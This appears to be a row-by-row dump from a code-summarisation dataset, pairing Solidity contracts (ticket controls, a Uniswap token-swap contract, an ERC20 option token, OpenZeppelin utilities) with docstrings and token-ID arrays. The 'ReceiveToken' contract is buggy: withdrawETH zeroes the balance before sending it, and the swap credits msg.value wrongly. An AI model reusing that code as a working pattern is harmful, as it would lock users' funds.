389,
7175,
16,
203,
7734,
389,
10787,
2747,
1345,
3088,
5259,
16,
203,
7734,
389,
3800,
15006,
18241,
16,
203,
7734,
389,
1969,
24473,
16,
203,
7734,
389,
1969,
3006,
16,
203,
7734,
389,
1937,
1626,
16,
203,
7734,
389,
81,
474,
5326,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
19357,
15150,
18,
6206,
12,
2867,
12,
5656,
10019,
203,
3639,
3626,
1166,
2532,
12,
12411,
329,
15150,
18,
2469,
300,
404,
16,
1758,
12,
5656,
10019,
203,
203,
3639,
327,
1758,
12,
5656,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x857cde2d9bF01D860A7C8e9406A655BA546e527a/sources/browser/TicketControl.sol | Get all controls done for a ticket | function getTicketControls(uint _ticketId) external view returns(uint[] memory, address[] memory) {
uint[] memory dates = new uint[](controls.length);
address[] memory addresses = new address[](controls.length);
uint counter = 0;
for (uint i = 0; i < controls.length; i++) {
if (controls[i].ticketId == _ticketId) {
dates[i] = controls[i].controlTime;
addresses[i] = controls[i].agentAddress;
counter++;
}
}
return(dates, addresses);
}
| 14,202,658 | [
1,
967,
777,
11022,
2731,
364,
279,
9322,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
3181,
29378,
16795,
12,
11890,
389,
16282,
548,
13,
3903,
1476,
1135,
12,
11890,
8526,
3778,
16,
1758,
8526,
3778,
13,
288,
203,
565,
2254,
8526,
3778,
7811,
273,
394,
2254,
8526,
12,
24350,
18,
2469,
1769,
203,
565,
1758,
8526,
3778,
6138,
273,
394,
1758,
8526,
12,
24350,
18,
2469,
1769,
203,
203,
565,
2254,
3895,
273,
374,
31,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
11022,
18,
2469,
31,
277,
27245,
288,
203,
1377,
309,
261,
24350,
63,
77,
8009,
16282,
548,
422,
389,
16282,
548,
13,
288,
203,
3639,
7811,
63,
77,
65,
273,
11022,
63,
77,
8009,
7098,
950,
31,
203,
3639,
6138,
63,
77,
65,
273,
11022,
63,
77,
8009,
5629,
1887,
31,
203,
3639,
3895,
9904,
31,
203,
1377,
289,
203,
565,
289,
203,
203,
565,
327,
12,
9683,
16,
6138,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >= 0.6.0;
import "../client/node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../client/node_modules/@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract ReceiveToken{
IERC20 public token;
IUniswapV2Router01 public router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //UniSwapRouterAddress
uint public contractTotalBalance;
uint public userTotalBalance;
address public contractOwner;
address public user;
mapping(address => uint) public userWallet;
event totalBalanceUpdate(uint contractTotalBalance, uint userTotalBalance);
constructor() public {
contractOwner = msg.sender;
}
function receiveToken(address _tokenAddress, uint _amount) public {
user = msg.sender;
token = IERC20(_tokenAddress);
token.transferFrom(user, address(this), _amount);
contractTotalBalance = token.balanceOf(address(this));
userTotalBalance = token.balanceOf(user);
emit totalBalanceUpdate(contractTotalBalance, userTotalBalance);
//add a check to see if received token is complaint with ERC20
swapForEther(_tokenAddress, _amount);
}
function swapForEther(address _tokenAddress, uint _amount) internal {
//generates the path to make the swap
address[] memory path = new address[](2);
path[0] = _tokenAddress;
path[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //WETH address;
//lets the contract trade 'amount' of UNI using the UniswapV2Router01
token.approve(address(router), _amount);
// token.transferFrom(address(this), address(router), _amount);
// Makes the swap
router.swapExactTokensForETH(
_amount,
0,
path,
address(this),
block.timestamp
);
userWallet[user] += msg.value;
}
function withdrawETH() public{
userWallet[msg.sender] = 0;
msg.sender.transfer(userWallet[msg.sender]);
}
receive() external payable {}
} | generates the path to make the swaplets the contract trade 'amount' of UNI using the UniswapV2Router01 token.transferFrom(address(this), address(router), _amount); Makes the swap | function swapForEther(address _tokenAddress, uint _amount) internal {
address[] memory path = new address[](2);
path[0] = _tokenAddress;
token.approve(address(router), _amount);
router.swapExactTokensForETH(
_amount,
0,
path,
address(this),
block.timestamp
);
userWallet[user] += msg.value;
}
| 14,076,125 | [
1,
3441,
815,
326,
589,
358,
1221,
326,
1352,
69,
20773,
326,
6835,
18542,
296,
8949,
11,
434,
19462,
1450,
326,
1351,
291,
91,
438,
58,
22,
8259,
1611,
1147,
18,
13866,
1265,
12,
2867,
12,
2211,
3631,
1758,
12,
10717,
3631,
389,
8949,
1769,
490,
3223,
326,
7720,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7720,
1290,
41,
1136,
12,
2867,
389,
2316,
1887,
16,
2254,
389,
8949,
13,
2713,
288,
203,
3639,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
3639,
589,
63,
20,
65,
273,
389,
2316,
1887,
31,
203,
3639,
1147,
18,
12908,
537,
12,
2867,
12,
10717,
3631,
389,
8949,
1769,
203,
540,
203,
540,
203,
3639,
4633,
18,
22270,
14332,
5157,
1290,
1584,
44,
12,
203,
5411,
389,
8949,
16,
203,
5411,
374,
16,
7010,
5411,
589,
16,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1203,
18,
5508,
203,
3639,
11272,
21281,
203,
3639,
729,
16936,
63,
1355,
65,
1011,
1234,
18,
1132,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x8f199d74d89b977d3f0684f0572bc66b16120ed8
//Contract name: OptionToken
//Balance: 0 Ether
//Verification Date: 9/21/2017
//Transacion Count: 12
// CODE STARTS HERE
/**
* The Option token contract complies with the ERC20 standard.
* This contract implements american option.
* Holders of the Option tokens can make a purchase of the underlying asset
* at the price of Strike until the Expiration time.
* The Strike price and Expiration date are set once and can't be changed.
* Author: Alexey Bukhteyev
**/
pragma solidity ^0.4.4;
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function name() public constant returns(string);
function symbol() public constant returns(string);
function totalSupply() public constant returns(uint256 supply);
function balanceOf(address _owner) public constant returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public constant returns(uint256 remaining);
function decimals() public constant returns(uint8);
}
/*
Allows to recreate OptionToken contract on the same address.
Just create new TokenHolders(OptionToken) and reinitiallize OptionToken using it's address
*/
contract TokenHolders {
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*
TokenHolders contract is being connected to OptionToken on creation.
Nobody can modify balanceOf and allowance except OptionToken
*/
function validate() external constant returns (bool);
function setBalance(address _to, uint256 _value) external;
/* Send some of your tokens to a given address */
function transfer(address _from, address _to, uint256 _value) public returns(bool success);
/* Allow another contract or person to spend some tokens in your behalf */
function approve(address _sender, address _spender, uint256 _value) public returns(bool success);
/* A contract or person attempts to get the tokens of somebody else.
* This is only allowed if the token holder approved. */
function transferWithAllowance(address _origin, address _from, address _to, uint256 _value)
public returns(bool success);
}
/*
This ERC20 contract is a basic option contract that implements a token which
allows to token holder to buy some asset for the fixed strike price before expiration date.
*/
contract OptionToken {
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
address public owner;
// Option characteristics
uint256 public expiration = 1512172800; //02.12.2017 Use unix timespamp
uint256 public strike = 20000000000;
ERC20 public baseToken;
TokenHolders public tokenHolders;
bool _initialized = false;
/* This generates a public event on the blockchain that will notify clients */
// ERC20 events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
// OptionToken events
event Deposit(address indexed from, uint256 value);
event Redeem(address indexed from, uint256 value, uint256 ethvalue);
event Issue(address indexed issuer, uint256 value);
// Only set owner on the constructor
function OptionToken() public {
owner = msg.sender;
}
// ERC20 functions
function balanceOf(address _owner) public constant returns(uint256 balance) {
return tokenHolders.balanceOf(_owner);
}
function totalSupply() public constant returns(uint256 supply) {
// total supply is a balance of this contract in base tokens
return baseToken.balanceOf(this);
}
/* Send some of your tokens to a given address */
function transfer(address _to, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.transfer(msg.sender, _to, _value))
return false;
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract or person to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.approve(msg.sender, _spender, _value))
return false;
Approval(msg.sender, _spender, _value);
return true;
}
/* A contract or person attempts to get the tokens of somebody else.
* This is only allowed if the token holder approved. */
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.transferWithAllowance(msg.sender, _from, _to, _value))
return false;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return tokenHolders.allowance(_owner, _spender);
}
// OptionToken functions
/*
Then we should pass base token contract address to init() function.
Only contract creator can call init() and only once
*/
function init(ERC20 _baseToken, TokenHolders _tokenHolders, string _name, string _symbol,
uint256 _exp, uint256 _strike) public returns(bool success) {
require(msg.sender == owner && !_initialized);
baseToken = _baseToken;
tokenHolders = _tokenHolders;
// if baseToken.totalSupply() is zero - something is wrong
assert(baseToken.totalSupply() != 0);
// validate tokenHolders contract owner - it should be OptionToken
assert(tokenHolders.validate());
name = _name;
symbol = _symbol;
expiration = _exp;
strike = _strike;
decimals = baseToken.decimals();
_initialized = true;
return true;
}
/*
Allows to increase totalSupply and get OptionTokens to their balance.
Before calling depositTokens the caller should approve the transfer for this contract address
using ERC20.approve().
Actually should be called by contract owner, because no ETH payout will be done for token transfer.
*/
function issue(uint256 _value) public returns(bool success) {
require(now <= expiration && _initialized);
uint256 receiver_balance = balanceOf(msg.sender) + _value;
assert(receiver_balance >= _value);
// check if transfer failed
if(!baseToken.transferFrom(msg.sender, this, _value))
revert();
tokenHolders.setBalance(msg.sender, receiver_balance);
Issue(msg.sender, receiver_balance);
return true;
}
/*
Buy base tokens for the strike price
*/
function() public payable {
require(now <= expiration && _initialized); // the contract should be initialized!
uint256 available = balanceOf(msg.sender); // balance of option holder
// check if there are tokens for sale
require(available > 0);
uint256 tokens = msg.value / (strike);
assert(tokens > 0 && tokens <= msg.value);
uint256 change = 0;
uint256 eth_to_transfer = 0;
if(tokens > available) {
tokens = available; // send all available tokens
}
// calculate the change for the operation
eth_to_transfer = tokens * strike;
assert(eth_to_transfer >= tokens);
change = msg.value - eth_to_transfer;
assert(change < msg.value);
if(!baseToken.transfer(msg.sender, tokens)) {
revert(); // error, revert transaction
}
uint256 new_balance = balanceOf(msg.sender) - tokens;
tokenHolders.setBalance(msg.sender, new_balance);
// new balance should be less then old balance
assert(balanceOf(msg.sender) < available);
if(change > 0) {
msg.sender.transfer(change); // return the change
}
if(eth_to_transfer > 0) {
owner.transfer(eth_to_transfer); // transfer eth for tokens to the contract owner
}
Redeem(msg.sender, tokens, eth_to_transfer);
}
/*
Allows the the contract owner to withdraw all unsold base tokens,
also deinitializes the token
*/
function withdraw() public returns(bool success) {
require(msg.sender == owner);
if(now <= expiration || !_initialized)
return false;
// transfer all tokens
baseToken.transfer(owner, totalSupply());
// perform deinitialization
baseToken = ERC20(0);
tokenHolders = TokenHolders(0);
_initialized = false;
return true;
}
}
| / check if transfer failed | function issue(uint256 _value) public returns(bool success) {
require(now <= expiration && _initialized);
uint256 receiver_balance = balanceOf(msg.sender) + _value;
assert(receiver_balance >= _value);
if(!baseToken.transferFrom(msg.sender, this, _value))
revert();
tokenHolders.setBalance(msg.sender, receiver_balance);
Issue(msg.sender, receiver_balance);
return true;
}
| 2,530,263 | [
1,
19,
866,
309,
7412,
2535,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5672,
12,
11890,
5034,
389,
1132,
13,
1071,
1135,
12,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
3338,
1648,
7686,
597,
389,
13227,
1769,
203,
203,
3639,
2254,
5034,
5971,
67,
12296,
273,
11013,
951,
12,
3576,
18,
15330,
13,
397,
389,
1132,
31,
203,
3639,
1815,
12,
24454,
67,
12296,
1545,
389,
1132,
1769,
203,
203,
3639,
309,
12,
5,
1969,
1345,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
333,
16,
389,
1132,
3719,
203,
5411,
15226,
5621,
203,
203,
3639,
1147,
27003,
18,
542,
13937,
12,
3576,
18,
15330,
16,
5971,
67,
12296,
1769,
203,
3639,
11820,
12,
3576,
18,
15330,
16,
5971,
67,
12296,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
